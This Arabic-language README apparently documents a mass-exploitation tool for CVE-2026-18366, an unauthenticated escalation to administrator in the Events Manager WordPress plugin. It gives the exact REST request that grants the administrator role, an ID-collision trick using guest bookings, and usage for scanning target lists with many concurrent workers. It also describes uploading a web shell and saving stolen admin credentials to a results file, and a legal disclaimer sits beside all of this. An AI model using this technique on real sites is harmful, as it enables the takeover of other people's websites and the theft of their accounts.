
Events Manager < 7.4.1 - تصعيد صلاحيات غير مصادق عليه إلى مسؤول
Events Manager < 7.4.1 - تصعيد غير مصادق للصلاحيات إلى مسؤول
| السمة | التفاصيل |
|---|---|
| معرف CVE | CVE-2026-18366 |
| الخطورة | 🔴 حرجة (CVSS 9.8) |
| الإضافة | Events Manager لـ WordPress |
| الإصدارات المتأثرة | < 7.4.1 |
| نوع الثغرة | تصعيد صلاحيات غير مصادق |
| متجه الهجوم | الشبكة |
| المصادقة المطلوبة | لا شيء |
توجد الثغرة في EM\Archetypes::map_meta_cap داخل classes/em-archetypes.php. تقوم الإضافة بتحديد نطاق غير صحيح لتعيين الصلاحيات من خلال:
event أو location، فإنها تمسح $caps = []edit_user أو delete_user أو promote_userhas_cap() تُرجع true، حتى للمستخدم 0 (الضيف)POST|PUT|PATCH /wp-json/wp/v2/users/{id}
POST /index.php?rest_route=/wp/v2/users/{id}
Body: {"password":"...","roles":["administrator"]}
الشرط: يجب أن يكون {id} مساويًا لـ wp_posts.ID لنوع محتوى مخصص (CPT) من نوع event أو location.
⚠️ واجهة REST غير المصادقة لا تتطلب nonce (لا يوجد ملف تعريف ارتباط لتسجيل الدخول).
الحجوزات كضيف (dbem_bookings_anonymous=1 افتراضيًا) تُنشئ مستخدمين حقيقيين في WordPress، مما يتيح فرض تصادم المعرفات. يكون nonce الخاص بالحجز متاحًا للعموم في نماذج الأحداث.
pip install aiohttp
python CVE-2026-18366.py
سيطلب السكربت ما يلي:
list.txt)python CVE-2026-18366.py -l targets.txt -s 20 --timeout 30
| الخيار | الوصف |
|---|---|
-l, --list | مسار الملف الذي يحتوي على عناوين الأهداف |
-s, --speed | عدد العاملين المتزامنين (1-200) |
--timeout | مهلة الطلب بالثواني (الافتراضي: 20) |
أنشئ ملف list.txt مع هدف واحد في كل سطر:
https://target1.com
https://target2.com/wordpress
http://target3.com
target4.com
[+] [HH:MM:SS] target.com ADMIN username:password uid=X path
[+] [HH:MM:SS] target.com SHELL https://target.com/wp-content/plugins/...
تُحفظ الاختراقات الناجحة في adminS.txt:
https://target.com | username:Nx_admin_@!KSA | uid=X | path=id-collision | ADMIN | shell_url
┌─────────────────────────────────────────────────────────────────┐
│ CVE-2026-18366 Flow │
├─────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────┐ ┌─────────────┐ ┌──────────────────────┐ │
│ │ Detect │ → │ Collect IDs │ → │ PATH A: ID Brute │ │
│ │ Plugin │ │ (CPT/HTML) │ │ REST /users/{id} │ │
│ └──────────┘ └─────────────┘ └──────────┬───────────┘ │
│ │ │
│ ┌──────▼──────┐ │
│ │ Success? │ │
│ └──────┬──────┘ │
│ No │ │ Yes │
│ ┌──────────▼──────▼──────────┐ │
│ │ │ │
│ ┌──────────────────────┐ │ ┌─────────────────┐ │ │
│ │ PATH B: Guest Book │ ←───┘ │ Login + Verify │ │ │
│ │ Create user until │ │ Admin Access │ │ │
│ │ user_id == post_id │ └────────┬────────┘ │ │
│ └──────────────────────┘ │ │ │
│ ┌────────▼────────┐ │ │
│ │ Upload Shell │ │ │
│ │ (Plugin/Theme) │ │ │
│ └────────┬────────┘ │ │
│ │ │ │
│ ┌────────▼────────┐ │ │
│ │ Save Results │ │ │
│ │ adminS.txt │ │ │
│ └─────────────────┘ │ │
│ │ │
└────────────────────────────────────────────────────────────────┘
├── CVE-2026-18366.py # Main exploit script
├── list.txt # Target URLs (create this)
├── adminS.txt # Successful results (auto-created)
└── README.md # This documentation
╔══════════════════════════════════════════════════════════════════╗
║ LEGAL DISCLAIMER ║
╠══════════════════════════════════════════════════════════════════╣
║ ║
║ This tool is provided for EDUCATIONAL and AUTHORIZED ║
║ SECURITY TESTING purposes only. ║
║ ║
║ • Only use on systems you own or have explicit permission ║
║ • Unauthorized access to computer systems is ILLEGAL ║
║ • The author is NOT responsible for any misuse or damage ║
║ • By using this tool, you agree to these terms ║
║ ║
║ Use responsibly. Stay ethical. Respect the law. ║
║ ║
╚══════════════════════════════════════════════════════════════════╝
إذا كنت مسؤول WordPress: